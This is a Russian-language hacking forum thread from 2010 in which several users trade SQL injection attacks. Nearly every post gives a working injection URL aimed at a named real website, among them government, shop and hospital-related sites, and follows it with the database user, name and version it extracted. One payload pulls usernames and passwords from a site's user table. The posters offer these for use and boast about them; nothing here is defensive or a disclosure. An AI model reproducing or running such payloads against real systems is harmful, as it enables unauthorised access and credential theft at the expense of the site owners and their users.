SQL Инъекции

30.03.2010, 23:14

~~xor[jmp]~~

Banned

Регистрация: 29.03.2010

Сообщений: 134

С нами: 8484463

Репутация: 31

Код:

http://hospitalityselfserviceworld.com/storefronts.php?sf_id=-114+/*!union*/+/*!select*/+concat_ws%280x3a,0x73616e656b736f736f,user%28%29,database%28%29,version%28%29%29--

User: atmmarketplace@localhost
Version: 5.0.77
Database: sitedb

Код:

http://www.mmblaw.com/newsevents.php?NewsID=66+union+select+concat_ws%280x3a,0x73616e656b736f736f,user%28%29,database%28%29,version%28%29%29--

User: pnc_morganmiller@localhost
Version: 4.1.22-community-nt
Database: pnc_morganmiller

Код:

http://www.rocautos.com/vehicle_detail.php?item=-156372+union+select+1,2,3,4,5,6,concat_ws(0x3a,user(),database(),version()),8,9,10,11,12,13,14,15--

User: autoshop2307@thunderbird.dreamhost.com
Version: 5.0.67-userstats-log
Database: autoshop2107

Код:

http://www.climamaison.com/chauffage.php?K=-94+union+select+1,2,concat_ws%280x3a,user%28%29,database%28%29,version%28%29%29,4--

User: climamaisoncom@localhost
Version: 5.0.32-Debian_7etch12-log
Database: climamaisoncom

Код:

http://www.amnh.org/programs/programs.php?event_type_id=1+union+select+concat_ws%280x3a,user%28%29,database%28%29,version%28%29%29--

User: com_dbpublic@localhost
Version: 5.0.41-community-log
Database: com_calendar

Вывод в исходнике.

Код:

http://www.csr-asia.com/index.php?cat=-1+union+select+concat_ws%280x3a,user%28%29,database%28%29,version%28%29%29--

User: csrasia_db1@localhost
Version: 5.0.67-community
Database: csrasia_db1

Код:

http://www.receptur-gdventura.es/v2/publico/actividad_ficha.php?actividad_id=-23+union+select+1,concat_ws%280x3a,user%28%29,database%28%29,version%28%29%29--

User: usuario@dl03.dinaserver.com
Version: 5.0.51a-24+lenny2
Database: activasol_receptur

Код:

http://www.fotomundo.com/nota.php?id=1147+union+select+1,2,3,4,concat_ws%280x3a,user%28%29,database%28%29,version%28%29%29,6,7,8,9,10,11,12,13,14,15--

User: fotomundo.com@localhost
Version: 5.0.77
Database: fotomundo_com

Код:

http://www.indianminiature.in/enlarge.php?cid=-448+union+select+1,2,3,4,concat_ws%280x3a,user%28%29,database%28%29,version%28%29%29,6,7,8,9,10,11,12,13,14,15,16--

User: paintingnew@localhost
Version: 4.1.22-community-nt
Database: paintingnew

Код:

http://www.mediendenk.com/images/gallery.php?AID=-0000004023+union+select+concat_ws%280x3a,user%28%29,database%28%29,version%28%29%29--

User: ftp53845@server029.webpack.hosteurope.de
Version: 5.0.32-Debian_7etch1~bpo.1-log
Database: mediendenk_com

Код:

http://ershad.byethost8.com/linktop.php?id=-1+union+select+concat_ws%280x3a,user%28%29,database%28%29,version%28%29%29,2,3,4,5,6,7--

User: b8_5033612@209.190.85.138
Version: 5.1.41-3
Database: b8_5033612_linkbox

Выводил через сипт (1 поле).

Код:

https://secure.clickitgolf.com/coupon.php?courseId=-1+union+select+concat_ws%280x3a,user%28%29,database%28%29,version%28%29%29--

User: clickitg@localhost
Version: 4.1.20
Database: clickit2

Код:

http://www.asiayogaconference.com/faculty/index.php?faculty_id=32+union+select+1,concat_ws%280x3a,user%28%29,database%28%29,version%28%29%29,3,4,5,6,7,8,9,10--

User: root@localhost
Version: 4.1.22-log
Database: ayc2009

Код:

http://www.happypuglia.com/disponibilita.php?Cod=-1+union+select+1,2,concat_ws%280x3a,user%28%29,database%28%29,version%28%29%29--

User: pugliavacan4764@web-a1.seeweb.it
Version: 4.0.18-standard
Database: pugliavacan4764

Код:

http://www.onthetable.co.uk/product.php?product=Culinary_Concepts_Corn_on_the_Cob_Skewers&sproductID=57+union+select+1,2,3,concat_ws%280x3a,user%28%29,database%28%29,version%28%29%29,5,6,7,8--

User: mysql50847@10.41.0.5
Version: 5.0.77
Database: db50847

P.S Скули нашёл ещё неделю назад, записывал всё в блокнот, на боянность проверить ещё не успел но позже почищу.

𝕏 Twitter Reddit Telegram Копировать ссылку

30.03.2010, 23:15

root_sashok

Познавший АНТИЧАТ

Регистрация: 04.08.2008

Сообщений: 1,359

С нами: 9351139

Репутация: 1593

Код:

http://uis.sashaal.net/product.php?cat=-1+union+select+1,2,concat_ws(0x3a,user(),database(),version()),4,5--

Username: v2v@localhost
Database: v2v
Version: 5.0.51a-24+lenny1-log

Украинские Информационные Системы.

Код:

http://www.pbphotography.nl/portfolio.php?cat=48+union+select+concat_ws(0x3a,1111,user(),database(),version())--

Username: pbp@localhost
Database: pbp
Version: 4.1.22-standard

Код:

http://giopro.gr/main.php?cat=-1+union+select+1,2,concat_ws(0x3a,user(),database(),version()),4,5--

Username: giopogr1_user@localhost
Database: giopogr1_giopro
Version: 4.1.22-standard

Код:

http://www.richmond.com.sv/detalle.php?id=9+union+select+1,2,concat_ws(0x3a,user(),database(),version()),4,5,6--

Username: estudiodinamo@64.13.192.10
Database: db7589_richmondsv
Version: 4.1.25-Debian_mt1

Код:

http://mybulgariayoung.org/gallery.php?l=bg&cat=-1+union+select+1,2,3,4,concat_ws(0x3a,user(),database(),version()),6,7--

Username: mybulgariayoung@localhost
Database: mybulgaria_db
Version: 5.0.51a-log

Код:

http://www.recrapro.nl/index.php?cat=product_detail&pid=768+union+select+1,concat_ws(0x3a,111,user(),database(),version()),3--

Username: outdoor@localhost
Database: outdoorpro
Version: 4.1.22

Отдохнул и размахнулся за пару часов

Последний раз редактировалось root_sashok; 31.03.2010 в 00:00..

31.03.2010, 00:05

root_sashok

Познавший АНТИЧАТ

Регистрация: 04.08.2008

Сообщений: 1,359

С нами: 9351139

Репутация: 1593

Код:

http://www.fusion-aarhus.dk/katalog.php?cat=1+union+select+1,concat_ws(0x3a,user(),database(),version()),3,4--

Username: web0@localhost
Database: usr_web0_1
Version: 5.0.32-Debian_7etch6

Код:

http://www.lacumbre.gov.ar/index.php?put=servicios-cat&ls=0&id_subrubro=16+union+select+1,2,3,4,concat_ws(0x3a,user(),database(),version()),6,7,8,9,10,11,12,13,14,15,16,17,18,19--

Username: acumbre_sitio@localhost
Database: lacumbre_sitio
Version: 4.1.22-standard

Код:

http://score.dnr.sc.gov/deep.php?subject=5&topic=-1+union+select+1,2,concat_ws(0x3a,user(),database(),version()),4,5--

Username: score@localhost
Database: score
Version: 4.1.20

Код:

http://www.heber.ca.gov/section.php?id=-1+union+select+1,2,concat_ws(0x3a,user(),database(),version()),4,5,6,7,8,9,10,11,12,13,14,15--

Username: kenwood@68.178.254.188
Database: kenwood
Version: 5.0.67.d7-ourdelta-log

Gov идут отлично.

Последний раз редактировалось root_sashok; 31.03.2010 в 00:28..

31.03.2010, 04:24

Strilo4ka

Reservists Of Antichat - Level 6

Регистрация: 05.04.2009

Сообщений: 231

С нами: 9000386

Репутация: 1148

Код:

_http://www.zonebbs.com/boards.php?t=10+and+%281,2%29=%28select+*+from%28select+name_const%28version%28%29,1%29,name_const%28version%28%29,1%29%29x%29--+

5.0.51a-24+lenny2-log

Код:

_http://www.blindbargains.com/boards.php?t=66+and+%281,1%29=%28select+*+from+%28select+name_const%28version%28%29,1%29,name_const%28version%28%29,1%29%29x%29--+

5.0.89-community

Код:

_http://www.glaciergaming.co.uk/gg/boards.php?t=list&rank=Queen%27+union+select+1,concat_ws%280x3a,username,password%29,3,4,5,6,7,8,9,10,11,12,13+from+onecms_users+--+

Код:

_http://www.thatgamingsite.com

Форма поиска ->поле name=search

Код HTML:

%' union select 1,2,concat_ws(0x3a,database(),version(),user(),@@version_compile_os,@@datadir),4,5,6,7,8,9,10,11 --

В самом низу!

Цитата:

elven6_TGS:5.1.30:elven6_Mehar@localhost

c-linux-gnu:/var/lib/mysql/

Последний раз редактировалось Strilo4ka; 31.03.2010 в 05:05..

31.03.2010, 13:37

root_sashok

Познавший АНТИЧАТ

Регистрация: 04.08.2008

Сообщений: 1,359

С нами: 9351139

Репутация: 1593

Код:

http://shop.megabug.co.uk/products.php?cat=96+union+select+1,2,3,concat_ws(0x3a,1111,user(),database(),version()),5,6--

Username: megabug_admin@localhost
Database: megabug_shop
Version: 5.0.90-community

Код:

http://www.fot-on.com/files.php?cat=-1+union+select+1,concat_ws(0x3a,user(),database(),version()),3--

Username: myfoton@localhost
Database: myfoton
Version: 5.1.39-log

Код:

http://kerkenaships.com/catalogue_ar.php?cat=-1+union+select+1,2,3,4,5,6,concat_ws(0x3a,user(),database(),version())--

Username: kerkena_root@localhost
Database: kerkena_bateau
Version: 5.0.89-community

Код:

http://newyorkquilter.com/gallery.php?cat=-1+union+select+1,concat_ws(0x3a,user(),database(),version()),3,4,5,6,7,8,9,10,11,12,13--

Username: sewingandbeyond@localhost
Database: sewingandbeyond_com_maindb
Version: 5.0.67

Код:

http://planet-bison.com/catalogue.php?action=cat&idcat=-1+union+select+1,concat_ws(0x3a,user(),database(),version()),3,4,5--

Username: planetb@localhost
Database: planetb
Version: 5.0.44-log

Код:

http://www.otten.it/prodotti.php?cat=-1+union+select+1,2,3,4,5,6,7,8,9,10,concat_ws(0x3a,user(),database(),version()),12,13,14--

Username: ottenit_user@localhost
Database: ottenit_main
Version: 5.0.89-community

Код:

http://rentakran.kz/ru/catalogue/category.php?cat=-1+union+select+1,2,3,concat_ws(0x3a,user(),database(),version()),5,6,7,8,9--

Username: ltech@localhost
Database: ltech
Version: 5.0.89-log

Последний раз редактировалось root_sashok; 31.03.2010 в 14:03..

Внести депозит

Депозит создан

Вывести депозит

Создать сделку

Мои сделки

Сделка

ESCROW ADMIN PANEL